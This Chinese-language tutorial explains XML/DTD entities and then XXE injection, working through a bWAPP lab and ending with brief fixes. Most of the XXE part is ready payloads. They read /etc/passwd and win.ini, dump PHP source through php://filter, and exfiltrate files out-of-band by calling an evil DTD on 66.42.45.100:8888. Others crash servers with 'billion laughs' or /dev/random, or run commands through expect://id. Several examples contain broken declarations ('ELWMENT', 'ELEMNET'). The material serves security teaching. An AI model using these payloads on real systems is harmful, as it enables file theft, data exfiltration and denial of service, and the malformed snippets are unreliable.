XML及DTD介绍
XML指可扩展标记语言,设计用来进行数据的传输和存储。
XML是一种标记语言,很类似HTML
XML的设计宗旨是传输数据,而非显示数据
XML标签没有被预定义。您需要自行定义标签
XML被设计为具有自我描述性
XML是W3C的推荐标准
XML是不作为的
XML仅仅是纯文本
XML可以发明自己的标签
XML是对HTML的补充
XML是W3C的推荐标准
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。
1、内部声明DTD:
<!DOCTYPE 根元素[元素声明]>
2、引用外部DTD:
<!DOCTYPE 根元素 SYSTEM"文件名">
3、内外部DTD文档结合:
<!DOCTYPE 根元素 SYSTEM"DTD文件路径"[定义内容]>
DTD中的一些重要的关键字:
DOCTYPE(DTD的声明)
ENTITY(实体的声明)
SYSTEM、PUBLIC(外部资源申请)
PCDATA
PCDATA的意思是被解析的字符数据。
可把字符数据想象为XML元素的开始标签与结束标签之间的文本,PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体于于以及标记,文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何&、<或者>字符;需要使用&map
;<
;以及>
;实体来分别替换它们。
CDATA
CDATA的意思是字符数据。
CDATA是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
实体:
实体是对数据的引用;根据实体种类的不同,XML解析器将使用实体的替代文本或者外部文档的内容来替代实体引用,它主要分为以下四类:
内置实体
字符实体
通用实体
参数实体
参数实体用%实体名称申明,引用时也用%实体名称;
其余实体直接用实体名称申明,引用时用&实体名称;
参数实体只能在DTD中申明,DTD中引用;
其余实体只能在DTD中申明,可在xml文档中引用。
注意:参数实体是在DTD中被引用的,而其余实体是在xml文档中被引用的,另外定义时注意%后面跟空格。
内部实体声明:
<!ENTITY 实体名称“实体的值”>一个实体由三部分构成:&符号,实体名称,分号(;),这里&不论在GET还是POST中都需要进行URL编码,因为是使用参数传入xml的;&符号会被认为是参数间的连接符号,实例:
<!DOCTYPE foo[
<!ELWMENT foo ANY
<!ENTITY xxe "Thinking">
]>
<foo>&xxe;</foo>
外部实体声明
XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,比如以下三种:
file:///path/to/file.ext
http://url
php://filter/read=convert.base64-encode/resource=conf.php
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM “URI/URL”>
]>
<foo>&xxe;</foo>
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,以下是各种语言外部实体的默认协议:
外部实体示例:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE methodname[
<!ELEMENT methodname ANY >
<!ENTITY xxe(实体引用名) SYSTEM "file:///etc/passwd"(实体内容) >
]>
<methodname>&xxe;</methodname>
这种写法调用了本地计算机的文件/etc/passwd,XML内容被解析后,文件内容便通过&xxe被存放在了methodname元素中,造成了敏感信息的泄露。
参数实体格式:
<!ENTITY % 实体名称 “实体的值”>或<!ENTITY % 实体名称 SYSTEM “URI”>
参数实体示例:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;
]>
<foo>&evil;</foo>
外部evil.dtd中的内容:
<!ENTITY evil “file:///c:/windows/win.ini” >
引用公共实体
<!ENTITY 实体名称 PUBLIC "public_ID" "URI/URL">
XXE漏洞介绍
XXE也叫XML(可扩展标记语言)外部实体注入,然后我们这里拆开来解释:
注入:
在XML数据传输过程中,数据被恶意修改,导致服务器最终执行了修改后的恶意代码。
外部实体:
通过调用外部实体声明部分对XML数据进行修改,插入恶意代码。
因此XXE指的是XML数据在传输过程中,利用外部实体声明部分的“SYSTEM”关键字导致XML解析器可以从本地文件或者远程的URL中读取受保护的数据。
示例攻击代码1
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMNET foo ANY>
<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<foo>
<value>&passwd;</value>
</foo>
这里使用了file 协议读取了敏感文件。
示例攻击代码2
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMNET foo ANY>
<!ENTITY file SYSTEM "file:///folder/file">
]>
<foo>
<value>&file;</value>
</foo>
这里使用了file 协议读取了文件。
示例攻击代码3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<root>
<name>&xxe;</name>
</root>
通过PHP伪协议读取源码
示例攻击代码4(调用远程DTD读取)
payload:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://66.42.45.100/eval.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/result.txt"> %remote;
%send;]>
vps上的eval.dtd(需监听8888):
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://66.42.45.100:8888/?%file;'>">
%start;
靶场实战
这里我们将使用bWapp来演示:
攻击实验1
file协议读取win.ini
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY a SYSTEM "file:///c:/windows/win.ini">
]>
或者直接不用协议,SYSTEM “c:/windows/win.ini”,效果一样。
读取成功
攻击实验2:端口扫描
可以使用http URL并强制服务器向我们指定的端点和端口发送GET请求,将XXE转换为SSRF(服务器端请求伪造)。
以下代码将尝试与本地端口8080通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启。
攻击实验3
敏感数据发送到远程服务器中(无回显时使用)
Payload:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://66.42.45.100/eval.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/result.txt"> %remote;
%send;]>
vps上的eval.dtd(需监听8888):
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://66.42.45.100:8888/?%file;'>">
%start;
注意:eval.dtd中,之所以要把“%”转成 html 实体编码是因为在实体的值中不能有“%”,所以也就只能转成%
其他利用:
1.DOS 攻击,此 payload 测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃
<?xml version="1.0"?><!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>
UNIX 系统
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&xxe;</foo>
这段 payload 会让 xml 解析器尝试使用 /dev/random 文件中的内容来替代实体,所以这个示例会直接使 UNIX系统服务器崩溃。
命令执行:
在特定场景下。
由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个 expect 扩展我们就能直接利用 XXE 进行 RCE 。
示例代码:
<!DOCTYPE root[
<!ENTITY cmd SYSTEM "expect://id">
]>
<dir>
<file>&cmd;</file>
</dir>
挖掘方式及修复
判断数据类型
判断自定义XML是否被解析
判断是否支持外部实体,尽量使用自己的VPS判断,避免遇到的不是不回显得XXE
漏洞利用
读取敏感信息文件
内网探测
漏洞修复
1、使用开发语言提供的禁用外部实体的方法
2、过滤用户提交的XML数据
3、不允许XML中含有任何自定义声明的DTD
4、最简单、粗暴、有效、直接的修复方式就是禁用DOCTYPE